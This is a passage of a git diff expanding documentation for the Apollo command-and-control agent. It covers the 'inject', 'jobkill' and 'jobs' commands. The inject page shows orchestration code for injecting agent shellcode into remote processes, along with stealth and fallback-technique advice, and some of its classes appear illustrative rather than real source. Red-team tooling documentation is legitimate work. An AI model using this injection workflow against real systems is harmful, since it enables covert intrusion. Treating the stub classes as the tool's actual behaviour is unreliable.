Format](https://docs.microsoft.com/en-us/dotnet/standard/io/file-path-formats) +- [Windows File System Security](https://docs.microsoft.com/en-us/windows/security/threat-protection/security-policy-settings/audit-object-access) +- [Data Exfiltration Techniques](https://attack.mitre.org/techniques/T1041/) +- [Apollo Agent Source Code](https://github.com/MythicAgents/Apollo) \ No newline at end of file diff --git a/documentation-payload/apollo/commands/inject.md b/documentation-payload/apollo/commands/inject.md index 9a5c5119..51ee8c24 100644 --- a/documentation-payload/apollo/commands/inject.md +++ b/documentation-payload/apollo/commands/inject.md @@ -10,23 +10,570 @@ Artifacts Generated: Process Inject {{% /notice %}} ## Summary -Inject agent shellcode into a specified process. +High-level wrapper for injecting Apollo agent shellcode into remote processes. Automatically handles payload selection, generation, and injection orchestration through the `shinject` command. Supports both egress and peer-to-peer (P2P) payloads with automatic callback linking for P2P communications. -### Arguments (Popup) +- **Needs Admin:** False (depends on target process and injection technique) +- **Version:** 2 +- **Author:** @djhohnstein + +### Arguments +- **pid** (Number, Required) - Target process ID for injection +- **template** (Choice, Required) - Apollo payload template to inject +- **regenerate** (Boolean, Optional) - Generate new payload instance (default: false) + +## Usage +``` +inject +# Opens modal popup for payload selection and PID specification + +# Advanced scripted usage +inject {"pid": 1234, "template": "apollo.exe - Default Apollo Agent", "regenerate": true} +``` ![args](../images/inject.png) -#### PID -The target process's ID to inject the agent into. +**Output:** +``` +Injecting payload 'apollo_shellcode.bin' into PID 1234 +Process injection artifact generated for PID 1234 +New callback established from injected process +``` + +## Detailed Summary -#### Payload Template -The template to generate new shellcode from. Note: The template _must_ be shellcode for inject to succeed. This is the "Raw" output type when building Apollo. +### Agent Execution Flow -## Usage +#### 1. Payload Discovery and Selection +```python +async def get_payloads(self, inputMsg: PTRPCDynamicQueryFunctionMessage) -> PTRPCDynamicQueryFunctionMessageResponse: + payload_search = await SendMythicRPCPayloadSearch(MythicRPCPayloadSearchMessage( + CallbackID=inputMsg.Callback, + PayloadTypes=["apollo"], + IncludeAutoGeneratedPayloads=False, + BuildParameters=[MythicRPCPayloadSearchBuildParameter( + PayloadType="apollo", + BuildParameterValues={"output_type": "Shellcode"} + )] + )) + + if payload_search.Success: + file_names = [] + for f in payload_search.Payloads: + value = f"{f.Filename} - {f.Description}" + file_names.append(value) + return file_names ``` -inject +- Queries Mythic for available Apollo shellcode payloads +- Filters payloads to only include shellcode format ("Raw" output type) +- Excludes auto-generated payloads to show only operator-created templates +- Presents payloads in format: "filename - description" + +#### 2. Parameter Processing and Validation +```python +async def parse_arguments(self): + if self.command_line[0] != "{": + raise Exception("Inject requires JSON parameters and not raw command line.") + + self.load_args_from_json_string(self.command_line) + supplied_dict = json.loads(self.command_line) + + if "process_id" in supplied_dict: + self.add_arg("pid", int(supplied_dict["process_id"])) + + if self.get_arg("pid") == 0: + raise Exception("Required non-zero PID") +``` +- Requires JSON parameter format (no raw command line) +- Validates PID is provided and non-zero +- Supports alternative "process_id" parameter name for compatibility +- Performs early validation before payload processing + +#### 3. Payload Resolution and Retrieval +```python +async def create_go_tasking(self, taskData: PTTaskMessageAllData) -> PTTaskCreateTaskingMessageResponse: + string_payload = [x.strip() for x in taskData.args.get_arg("template").split(" - ")] + filename = string_payload[0] + desc = string_payload[1] + + payload_search = await SendMythicRPCPayloadSearch(MythicRPCPayloadSearchMessage( + CallbackID=taskData.Callback.ID, + PayloadTypes=["apollo"], + Filename=filename, + Description=desc, + IncludeAutoGeneratedPayloads=False, + BuildParameters=[MythicRPCPayloadSearchBuildParameter( + PayloadType="apollo", + BuildParameterValues={"output_type": "Shellcode"} + )] + )) +``` +- Parses template selection into filename and description components +- Searches for exact payload match using filename and description +- Ensures payload is Apollo type with shellcode output format +- Validates payload exists and is accessible + +#### 4. Payload Generation and Build Management +```python +if taskData.args.get_arg("regenerate"): + newPayloadResp = await SendMythicRPCPayloadCreateFromUUID(MythicRPCPayloadCreateFromUUIDMessage( + TaskID=taskData.Task.ID, + PayloadUUID=str_uuid, + NewDescription="{}'s injection into PID {}".format( + taskData.Task.OperatorUsername, + str(taskData.args.get_arg("pid")) + ) + )) + + if newPayloadResp.Success: + str_uuid = newPayloadResp.NewPayloadUUID + while True: + resp = await SendMythicRPCPayloadSearch(MythicRPCPayloadSearchMessage( + PayloadUUID=newPayloadResp.NewPayloadUUID + )) + if resp.Success: + if resp.Payloads[0].BuildPhase == 'success': + payload = resp.Payloads[0] + break + elif resp.Payloads[0].BuildPhase == 'error': + raise Exception("Failed to build new payload") + else: + await asyncio.sleep(1) # Wait for build completion +``` +- Supports generating new payload instances from templates +- Creates descriptive payload names including operator and target PID +- Implements polling mechanism for build completion +- Handles build failures with appropriate error messages + +#### 5. C2 Profile Detection and P2P Handling +```python +c2_info = payload.C2Profiles[0] +is_p2p = c2_info.Name == "smb" or c2_info.Name == "tcp" + +if not is_p2p: + # Standard egress payload injection + subtask = await SendMythicRPCTaskCreateSubtask(MythicRPCTaskCreateSubtaskMessage( + TaskID=taskData.Task.ID, + CommandName="shinject", + Params=json.dumps({ + "pid": taskData.args.get_arg("pid"), + "shellcode-file-id": payload.AgentFileId + }) + )) +else: + # P2P payload requires connection linking + connection_info = { + "host": "127.0.0.1", + "agent_uuid": str_uuid, + "c2_profile": c2_info.to_json() + } + connection_info["c2_profile"]["name"] = connection_info["c2_profile"]["c2_profile"] + connection_info["c2_profile"]["parameters"] = connection_info["c2_profile"]["c2_profile_parameters"] + + temp_inject_link_data[taskData.Task.ID] = connection_info + subtask = await SendMythicRPCTaskCreateSubtask(MythicRPCTaskCreateSubtaskMessage( + TaskID=taskData.Task.ID, + SubtaskCallbackFunction="inject_callback", + CommandName="shinject", + Params=json.dumps({ + "pid": taskData.args.get_arg("pid"), + "shellcode-file-id": payload.AgentFileId + }) + )) +``` +- Detects C2 profile type to determine injection strategy +- Handles egress payloads (HTTP/HTTPS) with simple injection +- Manages P2P payloads (SMB/TCP) with connection linking +- Prepares connection information for automatic callback linking + +#### 6. Subtask Orchestration and Delegation +```python +# The inject command creates subtasks rather than executing directly +subtask = await SendMythicRPCTaskCreateSubtask(MythicRPCTaskCreateSubtaskMessage( + TaskID=taskData.Task.ID, + CommandName="shinject", # Delegates to shinject command + Params=json.dumps({ + "pid": taskData.args.get_arg("pid"), + "shellcode-file-id": payload.AgentFileId + }) +)) +``` +- Creates subtask for actual shellcode injection +- Delegates to `shinject` command for low-level injection +- Passes resolved payload file ID and target PID +- Maintains parent-child task relationship + +#### 7. P2P Callback Completion Handling +```python +async def inject_callback(task: PTTaskCompletionFunctionMessage) -> PTTaskCompletionFunctionMessageResponse: + response = PTTaskCompletionFunctionMessageResponse(Success=True, Completed=True) + + # Copy responses from subtask to parent task + resp = await SendMythicRPCResponseSearch(MythicRPCResponseSearchMessage( + TaskID=task.SubtaskData.Task.ID + )) + for r in resp.Responses: + await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage( + TaskID=task.TaskData.Task.ID, + Response=r.Response + )) + + # If injection succeeded, create link subtask for P2P + if "error" not in task.SubtaskData.Task.Status: + if task.TaskData.Task.ID in temp_inject_link_data: + response.Completed = False + subtask = await SendMythicRPCTaskCreateSubtask(MythicRPCTaskCreateSubtaskMessage( + TaskID=task.TaskData.Task.ID, + CommandName="link", + SubtaskCallbackFunction="link_callback", + Params=json.dumps({ + "connection_info": temp_inject_link_data[task.TaskData.Task.ID] + }) + )) + del temp_inject_link_data[task.TaskData.Task.ID] + + return response +``` +- Handles completion of injection subtask +- Copies all responses from subtask to parent task +- Automatically creates link subtask for P2P payloads +- Manages connection information for callback linking + +#### 8. Link Completion and Response Aggregation +```python +async def link_callback(task: PTTaskCompletionFunctionMessage) -> PTTaskCompletionFunctionMessageResponse: + response = PTTaskCompletionFunctionMessageResponse(Success=True, TaskStatus=task.SubtaskData.Task.Status, Completed=True) + + # Copy link responses to parent task + resp = await SendMythicRPCResponseSearch(MythicRPCResponseSearchMessage( + TaskID=task.SubtaskData.Task.ID + )) + for r in resp.Responses: + await SendMythicRPCResponseCreate(MythicRPCResponseCreateMessage( + TaskID=task.TaskData.Task.ID, + Response=r.Response + )) + + return response +``` +- Handles completion of link subtask for P2P connections +- Aggregates all responses from both injection and linking +- Provides complete operation status to operator + +### Payload Types and Compatibility + +#### Supported Payload Formats +```python +# Only shellcode format payloads are supported +BUILD_PARAMETERS = { + "output_type": "Shellcode", # Must be "Raw" format in Mythic UI + "architecture": "x64", # or "x86" + "payload_type": "apollo" +} +``` +- **Shellcode Format**: Must be position-independent shellcode +- **Architecture**: x64 or x86 (must match target process) +- **Payload Type**: Apollo agent payloads only +- **Output Type**: "Raw" format in Mythic payload builder + +#### C2 Profile Support +```python +# Supported C2 profiles and their handling +C2_PROFILES = { + "http": { + "type": "egress", + "requires_linking": False, + "connection_method": "outbound_http" + }, + "https": { + "type": "egress", + "requires_linking": False, + "connection_method": "outbound_https" + }, + "smb": { + "type": "p2p", + "requires_linking": True, + "connection_method": "named_pipes" + }, + "tcp": { + "type": "p2p", + "requires_linking": True, + "connection_method": "raw_tcp" + } +} ``` +#### Payload Template Management +```python +# Template selection and reuse +class PayloadTemplateManager: + def __init__(self): + self.templates = {} + + def select_template(self, criteria): + # Filter templates based on: + # - C2 profile compatibility + # - Architecture requirements + # - Operational security needs + # - Target environment constraints + pass + + def should_regenerate(self, template, target_info): + # Consider regeneration for: + # - Unique payload per target + # - Burn prevention + # - Operational security + # - Payload customization + return True +``` + +### Advanced Features and Automation + +#### Process Browser Integration +```python +# UI integration for process selection +SUPPORTED_UI_FEATURES = ["process_browser:inject"] + +# Allows operators to: +# - Browse running processes visually +# - Select target process from GUI +# - View process details (PID, name, user, etc.) +# - Filter processes by various criteria +``` + +#### Automated Payload Generation +```python +# Automatic payload generation with descriptive names +def generate_payload_description(operator, pid, timestamp): + return f"{operator}'s injection into PID {pid} at {timestamp}" + +# Benefits: +# - Unique payloads per injection +# - Audit trail of payload usage +# - Reduced payload reuse risks +# - Operational tracking +``` + +#### Callback Linking Automation +```python +# Automatic callback establishment for P2P payloads +class CallbackLinkingManager: + def __init__(self): + self.pending_links = {} + + def handle_p2p_injection(self, task_id, connection_info): + # Store connection info for post-injection linking + self.pending_links[task_id] = connection_info + + def create_link_subtask(self, task_id): + # Automatically link P2P callbacks after successful injection + connection_info = self.pending_links.get(task_id) + if connection_info: + # Create link command with connection details + return self.create_link_command(connection_info) +``` + +### Error Handling and Recovery + +#### Payload Build Failure Handling +```python +# Comprehensive error handling for payload operations +class PayloadErrorHandler: + def handle_build_failure(self, error_details): + error_scenarios = { + "compilation_error": "Payload compilation failed - check build parameters", + "missing_dependencies": "Required build dependencies not available", + "invalid_configuration": "Payload configuration is invalid", + "resource_exhaustion": "Insufficient resources for payload build" + } + return error_scenarios.get(error_details.type, "Unknown build error") + + def handle_injection_failure(self, error_details): + injection_scenarios = { + "process_not_found": "Target process no longer exists", + "access_denied": "Insufficient privileges for injection", + "architecture_mismatch": "Payload architecture doesn't match target", + "technique_failed": "Injection technique failed" + } + return injection_scenarios.get(error_details.type, "Unknown injection error") +``` + +#### Recovery Strategies +```python +# Automatic retry and fallback mechanisms +class InjectionRecoveryManager: + def __init__(self): + self.retry_attempts = 3 + self.fallback_techniques = ["CreateRemoteThreadInjection", "QueueUserAPCInjection"] + + async def attempt_injection_with_retry(self, payload, pid): + for attempt in range(self.retry_attempts): + try: + result = await self.perform_injection(payload, pid) + if result.success: + return result + except Exception as e: + if attempt == self.retry_attempts - 1: + raise e + await asyncio.sleep(1) # Brief delay before retry + + # Try fallback techniques if primary fails + for technique in self.fallback_techniques: + try: + result = await self.perform_injection_with_technique(payload, pid, technique) + if result.success: + return result + except Exception: + continue + + raise Exception("All injection attempts failed") +``` + +### Security Considerations + +#### Payload Tracking and Management +```python +# Payload lifecycle management for security +class PayloadSecurityManager: + def __init__(self): + self.payload_usage_log = {} + + def track_payload_usage(self, payload_id, target_info): + # Track payload usage for: + # - Burn prevention + # - Operational security + # - Audit requirements + # - Attribution management + self.payload_usage_log[payload_id] = { + "target": target_info, + "timestamp": datetime.now(), + "operator": self.get_current_operator() + } + + def should_regenerate_payload(self, payload_id): + # Regenerate payloads based on: + # - Usage count + # - Time since last use + # - Security requirements + # - Operational policies + usage_count = len(self.payload_usage_log.get(payload_id, [])) + return usage_count > 5 # Example threshold +``` + +#### Operational Security Features +```python +# OPSEC considerations for payload injection +class OPSECManager: + def evaluate_injection_risk(self, target_pid, payload_info): + risk_factors = { + "high_profile_process": self.is_high_profile_process(target_pid), + "unique_payload": payload_info.is_unique, + "detection_history": self.get_detection_history(payload_info), + "environment_sensitivity": self.assess_environment_risk() + } + return self.calculate_risk_score(risk_factors) + + def recommend_injection_parameters(self, risk_assessment): + if risk_assessment.score > 0.8: + return { + "regenerate_payload": True, + "use_advanced_technique": True, + "delay_injection": True + } + return {"regenerate_payload": False} +``` + +### Performance and Resource Management + +#### Payload Caching and Optimization +```python +# Efficient payload management +class PayloadCacheManager: + def __init__(self): + self.cache = {} + self.cache_size_limit = 50 # Maximum cached payloads + + def get_cached_payload(self, template_id): + # Return cached payload if available and valid + if template_id in self.cache: + payload = self.cache[template_id] + if self.is_payload_valid(payload): + return payload + return None + + def cache_payload(self, template_id, payload): + # Cache payload for future use + if len(self.cache) >= self.cache_size_limit: + self.evict_oldest_payload() + self.cache[template_id] = payload +``` + +#### Resource Usage Monitoring +```python +# Monitor resource consumption during injection +class ResourceMonitor: + def monitor_injection_operation(self, task_id): + metrics = { + "payload_build_time": self.measure_build_time(task_id), + "injection_time": self.measure_injection_time(task_id), + "memory_usage": self.measure_memory_usage(task_id), + "network_overhead": self.measure_network_overhead(task_id) + } + return metrics +``` + +## APIs Used +| API | Purpose | Integration | +|-----|---------|-------------| +| `SendMythicRPCPayloadSearch` | Search for available payloads | Mythic RPC | +| `SendMythicRPCPayloadCreateFromUUID` | Generate new payload instances | Mythic RPC | +| `SendMythicRPCTaskCreateSubtask` | Create injection subtasks | Mythic RPC | +| `SendMythicRPCResponseSearch` | Retrieve subtask responses | Mythic RPC | +| `SendMythicRPCResponseCreate` | Forward responses to parent | Mythic RPC | +| `shinject` command | Perform actual shellcode injection | Apollo Command | +| `link` command | Establish P2P callback links | Apollo Command | + ## MITRE ATT&CK Mapping +- **T1055** - Process Injection +- **T1055.001** - Process Injection: Dynamic-link Library Injection +- **T1055.002** - Process Injection: Portable Executable Injection +- **T1129** - Shared Modules +- **T1071** - Application Layer Protocol (for egress payloads) +- **T1090** - Proxy (for P2P payloads) + +## Security Considerations +- **Payload Management**: Centralized payload tracking and generation +- **Operational Security**: Automated unique payload generation per injection +- **Callback Linking**: Automatic P2P callback establishment +- **Audit Trail**: Complete logging of payload usage and injection targets +- **Technique Flexibility**: Leverages configurable injection techniques +- **Error Handling**: Comprehensive error reporting and recovery +- **Resource Management**: Efficient payload caching and resource usage + +## Limitations +1. **Payload Format**: Only supports shellcode format payloads +2. **Apollo Specific**: Limited to Apollo agent payloads +3. **Architecture Matching**: Payload must match target process architecture +4. **C2 Profile Dependencies**: P2P payloads require additional linking steps +5. **Build Dependencies**: Requires functioning Mythic payload builder +6. **Network Connectivity**: Depends on reliable Mythic communication +7. **Process Permissions**: Subject to target process access restrictions + +## Error Conditions +- **No Payloads Available**: No matching Apollo shellcode payloads found +- **Payload Build Failed**: Template payload failed to build +- **Build Timeout**: Payload build took too long to complete +- **Injection Failed**: Underlying shinject command failed +- **Link Failed**: P2P callback linking failed (P2P payloads only) +- **Permission Denied**: Insufficient access to target process +- **Invalid Template**: Selected template is not shellcode format +- **Network Error**: Communication with Mythic failed -- T1055 \ No newline at end of file +## Best Practices +1. **Template Management**: Maintain variety of payload templates for different scenarios +2. **Payload Regeneration**: Use regenerate option for unique payloads per target +3. **Process Selection**: Choose appropriate target processes for injection +4. **C2 Profile Awareness**: Understand egress vs P2P payload differences +5. **Error Monitoring**: Monitor subtask completion and handle failures +6. **Resource Management**: Be aware of payload build and injection overhead +7. **OPSEC Considerations**: Rotate payloads and techniques for stealth +8. **Testing**: Validate payload templates in lab environments first \ No newline at end of file diff --git a/documentation-payload/apollo/commands/jobkill.md b/documentation-payload/apollo/commands/jobkill.md index f5b7489d..246c2a36 100644 --- a/documentation-payload/apollo/commands/jobkill.md +++ b/documentation-payload/apollo/commands/jobkill.md @@ -6,11 +6,278 @@ hidden = false +++ ## Summary -Kill a running job for an agent. +The `jobkill` function terminates running jobs (tasks) within the Apollo agent by their job identifiers. The command supports killing multiple jobs simultaneously and includes special handling for specific command types like `rpfwd`. It provides feedback on the success or failure of each termination attempt. -## Usage (Positional) +- **Needs Admin:** False +- **Version:** 2 +- **Author:** @djhohnstein + +### Arguments +- **jid** (String) - Job identifier(s) to terminate (space-separated for multiple jobs) + - **Required:** True + +## Usage ``` jobkill [task_id_guid] ``` -![jobs](../images/jobs.png) \ No newline at end of file +![jobs](../images/jobs.png) + +### Example 1: Kill Single Job +**Command:** +``` +jobkill abc123-def4-5678-9abc-def123456789 +``` +**Output:** +```text +Killed abc123-def4-5678-9abc-def123456789 +``` + +### Example 2: Kill Multiple Jobs +**Command:** +``` +jobkill job1 job2 job3 +``` +**Output:** +```text +Killed job1 +Killed job2 +Failed to kill job3 +``` + +### Example 3: Kill Nonexistent Job +**Command:** +``` +jobkill invalid-job-id +``` +**Output:** +```text +Failed to kill invalid-job-id +``` + +## Detailed Summary + +The `jobkill` function implements a job termination system with support for multiple job types and special command handling: + +### 1. Parameter Processing and Job ID Parsing + +The command processes job identifiers from the command line parameters: + +```csharp +public override void Start() +{ + string[] jids = _data.Parameters.Split(' '); + foreach (string j in jids) + { + // Job termination logic + } +} +``` + +**Parameter Processing**: +* **Space Separation**: Splits parameters by spaces to handle multiple job IDs +* **Individual Processing**: Processes each job ID separately +* **Result Tracking**: Tracks success/failure for each termination attempt + +### 2. Core Job Termination Implementation + +The C# implementation handles the actual job cancellation: + +```csharp +foreach (string j in jids) +{ + if (_agent.GetTaskManager().CancelTask(j)) + { + _agent.GetTaskManager().AddTaskResponseToQueue( + CreateTaskResponse($"Killed {j}", false, "")); + } + else + { + _agent.GetTaskManager().AddTaskResponseToQueue(CreateTaskResponse( + $"Failed to kill {j}", false, "")); + bRet = false; + } +} +``` + +**Termination Process**: +* **Task Manager Integration**: Uses `GetTaskManager().CancelTask()` to terminate jobs +* **Success Feedback**: Reports successful terminations with job ID +* **Failure Tracking**: Reports failed terminations and sets error flag +* **Individual Results**: Provides feedback for each job termination attempt + +### 3. Special Command Handling for RPFWD + +The Python handler includes special processing for `rpfwd` commands: + +```python +if killedTaskResp.Tasks[0].CommandName == "rpfwd": + try: + params = json.loads(killedTaskResp.Tasks[0].Params) + rpfwdStopResp = await SendMythicRPCProxyStopCommand(MythicRPCProxyStopMessage( + TaskID=taskData.Task.ID, + PortType="rpfwd", + Port=params["port"], + Username=params["username"] if "username" in params else "", + Password=params["password"] if "password" in params else "", + )) +``` + +**RPFWD Special Handling**: +* **Task Search**: Searches for the target task using `SendMythicRPCTaskSearch` +* **Command Detection**: Checks if the target task is an `rpfwd` command +* **Parameter Extraction**: Parses JSON parameters from the original task +* **Proxy Stop**: Calls `SendMythicRPCProxyStopCommand` to stop Mythic's proxy components +* **Status Reporting**: Reports success or failure of proxy component shutdown + +### 4. Task Manager Integration and Cancellation + +The command integrates with Apollo's task management system: + +**Task Cancellation Process**: +* **Task Lookup**: TaskManager locates the job by identifier +* **Cancellation Request**: Calls cancellation method on the target task +* **Resource Cleanup**: TaskManager handles cleanup of associated resources +* **Status Update**: Returns boolean indicating cancellation success + +### 5. Response Generation and Status Reporting + +The command provides detailed feedback for termination attempts: + +```csharp +_agent.GetTaskManager().AddTaskResponseToQueue( + CreateTaskResponse( + "", + true, + bRet ? "completed" : "error")); +``` + +**Response Characteristics**: +* **Individual Feedback**: Reports results for each job ID separately +* **Final Status**: Provides overall completion status +* **Error Indication**: Sets error status if any termination fails +* **Empty Final Message**: Final response contains empty message body + +### 6. Command Configuration and Attributes + +```python +class JobkillCommand(CommandBase): + cmd = "jobkill" + needs_admin = False + help_cmd = "jobkill [jid]" + description = "Kill a job specified by the job identifier (jid)." + version = 2 + is_exit = False + supported_ui_features = ["jobkill", "task:job_kill"] + author = "@djhohnstein" + argument_class = JobkillArguments + attackmapping = [] +``` + +**Configuration Details**: +* **No Admin Required**: Can be executed with standard privileges +* **UI Features**: Supports UI-based job killing features +* **Not Exit Command**: Does not cause agent to exit +* **No Attack Mapping**: Purely administrative function + +### 7. Argument Validation and Error Handling + +```python +async def parse_arguments(self): + if len(self.command_line) == 0: + raise Exception("Require Job ID to terminate as a command line argument.") +``` + +**Validation Process**: +* **Required Parameter**: Ensures at least one job ID is provided +* **Exception Handling**: Throws exception for missing parameters +* **Command Line Processing**: Processes raw command line input + +### 8. Mythic RPC Integration and Communication + +The Python handler integrates with Mythic's RPC system: + +**RPC Operations**: +* **Task Search**: `SendMythicRPCTaskSearch` to locate target tasks +* **Proxy Control**: `SendMythicRPCProxyStopCommand` for rpfwd cleanup +* **Response Creation**: `SendMythicRPCResponseCreate` for status updates + +### 9. Error Handling and Exception Management + +The implementation includes error handling for various scenarios: + +**Error Scenarios**: +* **Invalid Job IDs**: Reports failure when job ID doesn't exist +* **Cancellation Failures**: Handles cases where task cancellation fails +* **JSON Parsing Errors**: Catches and logs JSON parsing failures for rpfwd params +* **RPC Communication Errors**: Handles failures in Mythic RPC operations + +### 10. Multi-Job Support and Batch Processing + +The command supports terminating multiple jobs in a single command: + +**Batch Processing Features**: +* **Space-Separated IDs**: Accepts multiple job IDs separated by spaces +* **Individual Processing**: Processes each job ID independently +* **Partial Success Handling**: Continues processing even if some jobs fail +* **Aggregate Status**: Provides overall success/failure status + +## APIs Used and Their Purposes +| API | Purpose | DLL | Documentation | +|------|---------|-----|--------------| +| `IAgent.GetTaskManager().CancelTask()` | Cancels running task by ID | Apollo Agent | Internal Apollo API | +| `SendMythicRPCTaskSearch()` | Searches for task information | Mythic RPC | Internal Mythic API | +| `SendMythicRPCProxyStopCommand()` | Stops proxy components | Mythic RPC | Internal Mythic API | +| `SendMythicRPCResponseCreate()` | Creates response messages | Mythic RPC | Internal Mythic API | +| `String.Split()` | Parses space-separated job IDs | mscorlib.dll | [String.Split](https://docs.microsoft.com/en-us/dotnet/api/system.string.split) | + +## Job Identification and Management + +### Job ID Format +Job IDs in Apollo are typically UUIDs or task identifiers that correspond to running tasks. + +### Task Lifecycle +1. **Task Creation**: Tasks are created and assigned unique identifiers +2. **Execution**: Tasks run asynchronously within the agent +3. **Monitoring**: Tasks can be monitored through the `jobs` command +4. **Termination**: Tasks can be terminated using `jobkill` + +### Special Command Types +Some commands require special handling during termination: +- **rpfwd**: Requires stopping Mythic proxy components +- **Long-running tasks**: May need additional cleanup +- **Network operations**: May require connection cleanup + +## Response Format + +### Successful Termination +```text +Killed [job-id] +``` + +### Failed Termination +```text +Failed to kill [job-id] +``` + +### RPFWD Special Messages +```text +Stopped Mythic's rpfwd components +``` +or +```text +Failed to stop Mythic's rpfwd components: [error] +``` + +## Limitations + +1. Cannot kill tasks that have already completed +2. Some tasks may not respond immediately to cancellation +3. Requires valid job IDs (no pattern matching or wildcards) +4. Cannot undo job termination once executed +5. Limited error details for termination failures +6. Does not show running jobs (use `jobs` command first) + +## References + +- [Apollo Agent Source Code](https://github.com/MythicAgents/Apollo) \ No newline at end of file diff --git a/documentation-payload/apollo/commands/jobs.md b/documentation-payload/apollo/commands/jobs.md index 362020a0..2b7e7ad9 100644 --- a/documentation-payload/apollo/commands/jobs.md +++ b/documentation-payload/apollo/commands/jobs.md @@ -6,14 +6,379 @@ hidden = false +++ ## Summary -Retrieve a list of the agent's current running jobs. This list will not include `jobs` or `jobkill` related jobs. +The `jobs` command retrieves and displays a comprehensive list of currently executing tasks within the Apollo agent, providing operators with real-time visibility into active operations. This command excludes itself and `jobkill` commands from the results to prevent recursive operations and maintain clean output for operational awareness. + +- **Needs Admin:** False +- **Version:** 2 +- **Author:** @djhohnstein + +### Arguments +This command accepts no arguments and will raise an exception if any parameters are provided. ## Usage +### Example: Listing Active Jobs +**Command:** ``` jobs ``` +**Output:** +![jobs](../images/jobs.png) ## Detailed Summary -The `jobs` command will retrieve a list of active running jobs, their parameters, and their associated process identifiers if the job required a sacrificial process. -![jobs](../images/jobs.png) \ No newline at end of file +The `jobs` command implements a comprehensive task monitoring system that provides operators with crucial situational awareness during active operations. The command operates through a multi-layered architecture spanning the Mythic server, the Apollo agent, and the browser-based user interface. + +### 1. Command Initialization and Validation + +The command begins with strict parameter validation to ensure proper execution: + +* **Argument Parsing**: The `JobsArguments` class inherits from `TaskArguments` and implements a zero-argument validation system +* **Parameter Rejection**: Any command-line arguments provided to the `jobs` command result in an immediate exception with the message "Jobs takes no arguments" +* **Command Registration**: The command is registered with Mythic using the `CommandBase` class with the following metadata: + * Command name: "jobs" + * Admin privileges required: False + * Help command: "jobs" + * Version: 2 + * Attack mapping: Empty array (informational command) + +### 2. Agent-Side Task Execution (C# Implementation) + +The Apollo agent's C# implementation handles the core task enumeration logic: + +#### Task Manager Integration +```csharp +string[] jids = _agent.GetTaskManager().GetExecutingTaskIds(); +``` + +* **Task Enumeration**: Calls the agent's task manager to retrieve all currently executing task identifiers +* **Self-Exclusion**: Automatically filters out the current `jobs` task ID to prevent recursive inclusion +* **Task ID Collection**: Builds a filtered array of active task identifiers for transmission + +#### Response Generation +```csharp +MythicTaskResponse resp = CreateTaskResponse("", true, "completed"); +resp.ProcessResponse = new ApolloInterop.Structs.ApolloStructs.ProcessResponse +{ + Jobs = realJids.ToArray() +}; +``` + +* **Response Structure**: Creates a `MythicTaskResponse` object with completion status +* **Process Response**: Utilizes the `ProcessResponse` structure to encapsulate the job data +* **Task Queue Management**: Adds the response to the agent's task response queue for transmission to Mythic + +### 3. Mythic Server-Side Processing (Python Implementation) + +The Mythic server processes the agent response and enriches it with detailed task metadata: + +#### Task Information Retrieval +```python +job_resp = await SendMythicRPCTaskSearch(MythicRPCTaskSearchMessage( + TaskID=task.Task.ID, + SearchAgentTaskID=job +)) +``` + +* **RPC Communication**: Uses Mythic's RPC system to query detailed task information +* **Metadata Enrichment**: For each job ID, retrieves comprehensive task details including: + * `AgentTaskID`: The unique identifier used by the agent + * `CommandName`: The actual command being executed + * `DisplayParams`: Human-readable parameter representation + * `OperatorUsername`: The operator who initiated the task + * `DisplayID`: The user-friendly task identifier + +#### Data Transformation and Response +```python +jobs.append({ + "agent_task_id": job_resp.Tasks[0].AgentTaskID, + "command": job_resp.Tasks[0].CommandName, + "display_params": job_resp.Tasks[0].DisplayParams, + "operator": job_resp.Tasks[0].OperatorUsername, + "display_id": job_resp.Tasks[0].DisplayID +}) +``` + +* **JSON Structure**: Builds a structured JSON array containing enriched job information +* **Error Handling**: Implements comprehensive error handling for failed RPC calls +* **Response Encoding**: Encodes the final JSON response for transmission to the browser interface + +### 4. Browser Interface Rendering (JavaScript Implementation) + +The browser-based interface transforms the job data into an interactive table format: + +#### Table Structure Definition +```javascript +let headers = [ + {"plaintext": "kill", "type": "button", "startIcon": "kill", "cellStyle": {}, "width": 100, "disableSort": true}, + {"plaintext": "operator", "type": "string", "cellStyle": {}, "width": 200}, + {"plaintext": "command", "type": "string", "cellStyle": {}, "width": 200}, + {"plaintext": "arguments", "type": "string", "cellStyle": {}, "fillWidth": true}, +]; +``` + +* **Interactive Kill Button**: Each row includes a functional "kill" button for immediate job termination +* **Operator Column**: Displays the username of the operator who initiated each task +* **Command Column**: Shows the specific command being executed +* **Arguments Column**: Displays the parameters passed to each command with flexible width + +#### Dynamic Row Generation +```javascript +let row = { + "rowStyle": {}, + "kill": {"button": { + "name": "kill", + "type": "task", + "ui_feature": "jobkill", + "parameters": jinfo["agent_task_id"], + "cellStyle": {}, + }}, + "operator": {"plaintext": jinfo["operator"], "cellStyle": {}}, + "command": {"plaintext": jinfo["command"], "cellStyle": {}}, + "arguments": {"plaintext": jinfo["display_params"], "cellStyle": {}}, +}; +``` + +* **Button Integration**: Each kill button is configured to execute a `jobkill` command with the appropriate agent task ID +* **Data Binding**: Maps the enriched job data to appropriate table cells +* **Styling Support**: Provides extensible styling capabilities for future enhancements + +### 5. Error Handling and Edge Cases + +The command implements comprehensive error handling across all layers: + +#### Agent-Side Error Handling +* **Task Manager Failures**: Gracefully handles scenarios where the task manager is unavailable +* **Memory Management**: Ensures proper cleanup of task ID arrays and response objects +* **Threading Safety**: Maintains thread-safe access to the task manager's internal state + +#### Server-Side Error Handling +```python +if job_resp.Success: + jobs.append({...}) +else: + raise Exception("Failed to get job info for job {}".format(job)) +``` + +* **RPC Failure Handling**: Implements explicit error checking for all RPC communications +* **Partial Failure Management**: Ensures that failure to retrieve information for one job doesn't compromise the entire response +* **Exception Propagation**: Provides clear error messages for troubleshooting failed operations + +#### Browser-Side Error Handling +```javascript +try{ + data = JSON.parse(responses[i]); +}catch(error){ + console.log(error); + const combined = responses.reduce( (prev, cur) => { + return prev + cur; + }, ""); + return {'plaintext': combined}; +} +``` + +* **JSON Parsing Errors**: Gracefully handles malformed JSON responses +* **Fallback Display**: Provides plaintext output when structured data parsing fails +* **Console Logging**: Maintains error logs for debugging purposes + +### 6. Integration with Job Control Systems + +The `jobs` command is designed to work seamlessly with job control mechanisms: + +#### JobKill Integration +* **Button Functionality**: Each job entry includes a functional kill button +* **Parameter Passing**: Automatically configures kill buttons with the correct agent task IDs +* **UI Feature Mapping**: Maps kill buttons to the `jobkill` UI feature for proper command routing + +#### Task State Management +* **Real-Time Updates**: Reflects the current state of task execution +* **Consistency Maintenance**: Ensures displayed information matches actual agent state +* **Exclusion Logic**: Prevents display of jobs that should not be killable (jobs, jobkill) + +### 7. Performance 